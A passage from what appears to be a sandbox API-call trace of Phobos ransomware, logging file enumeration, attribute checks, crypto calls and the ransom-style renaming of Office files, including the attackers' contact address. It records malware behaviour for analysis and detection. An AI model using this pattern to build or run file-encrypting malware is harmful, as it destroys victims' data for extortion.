GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME34.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme34.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME34.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme34.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.917] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme35.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.919] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=131824) returned 1 [0155.919] CloseHandle (hObject=0x254) returned 1 [0155.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme35.css")) returned 0x220 [0155.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME35.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme35.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME35.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme35.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.919] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme36.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.921] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=123180) returned 1 [0155.921] CloseHandle (hObject=0x254) returned 1 [0155.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme36.css")) returned 0x220 [0155.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME36.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme36.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME36.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme36.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.921] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme37.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.922] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=132540) returned 1 [0155.922] CloseHandle (hObject=0x254) returned 1 [0155.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme37.css")) returned 0x220 [0155.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME37.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme37.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME37.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme37.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.923] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme38.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.923] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=127100) returned 1 [0155.923] CloseHandle (hObject=0x254) returned 1 [0155.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme38.css")) returned 0x220 [0155.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME38.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme38.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME38.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme38.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.924] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme39.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.924] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=123980) returned 1 [0155.925] CloseHandle (hObject=0x254) returned 1 [0155.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme39.css")) returned 0x220 [0155.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME39.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme39.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME39.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme39.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.925] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme40.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.927] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=125770) returned 1 [0155.928] CloseHandle (hObject=0x254) returned 1 [0155.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme40.css")) returned 0x220 [0155.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME40.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme40.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME40.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme40.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.928] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme41.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.929] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=125272) returned 1 [0155.929] CloseHandle (hObject=0x254) returned 1 [0155.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme41.css")) returned 0x220 [0155.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME41.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme41.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME41.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme41.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.929] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme42.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.931] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=121120) returned 1 [0155.931] CloseHandle (hObject=0x254) returned 1 [0155.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme42.css")) returned 0x220 [0155.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME42.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme42.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME42.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme42.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.931] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme44.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.932] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=126204) returned 1 [0155.932] CloseHandle (hObject=0x254) returned 1 [0155.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme44.css")) returned 0x220 [0155.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME44.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme44.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME44.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme44.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.935] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.935] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme47.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.939] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=127376) returned 1 [0155.939] CloseHandle (hObject=0x254) returned 1 [0155.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme47.css")) returned 0x220 [0155.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME47.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme47.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme47.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.939] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme49.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.940] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=121452) returned 1 [0155.940] CloseHandle (hObject=0x254) returned 1 [0155.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme49.css")) returned 0x220 [0155.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME49.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme49.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme49.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.941] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme50.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.942] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=127000) returned 1 [0155.942] CloseHandle (hObject=0x254) returned 1 [0155.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme50.css")) returned 0x220 [0155.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME50.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme50.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme50.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.942] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme52.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.943] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=123476) returned 1 [0155.943] CloseHandle (hObject=0x254) returned 1 [0155.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme52.css")) returned 0x220 [0155.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme52.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme52.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.945] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0155.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme54.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.946] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=127076) returned 1 [0155.946] CloseHandle (hObject=0x254) returned 1 [0156.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme54.css")) returned 0x220 [0156.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme54.css.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0156.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubftscm\\scheme54.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.073] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0156.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir22f.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0156.102] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8151) returned 1 [0156.102] CloseHandle (hObject=0x368) returned 1 [0156.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir22f.gif")) returned 0x220 [0156.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR22F.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir22f.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0156.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\PDIR22F.GIF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\pubspapr\\pdir22f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.103] CryptImportKey (in: hProv=0x8067b0, pbData=0x411f9d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x411fa40 | out: phKey=0x411fa40*=0x895038) returned 1 [0156.103] CryptSetKeyParam (hKey=0x895038, dwParam=0x1, pbData=0x411fa28, dwFlags=0x0) returned 1 [0156.103] CryptDecrypt (in: hKey=0x895038, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ac068, pdwDataLen=0x411f9f4 | out: pbData=0x23ac068, pdwDataLen=0x411f9f4) returned 1 [0156.103] CryptDestroyKey (hKey=0x895038) returned 1 [0156.103] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75bf0000 [0156.103] GetProcAddress (hModule=0x75bf0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75c06b50 [0156.103] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0156.103] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x23ac068 | out: hHeap=0x23a0000) returned 1 Thread: id = 81 os_tid = 0xf50 [0147.357] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, Size=0x10000) returned 0x44c0050 [0147.357] RtlAllocateHeap (HeapHandle=0x23a0000, Flags=0x0, 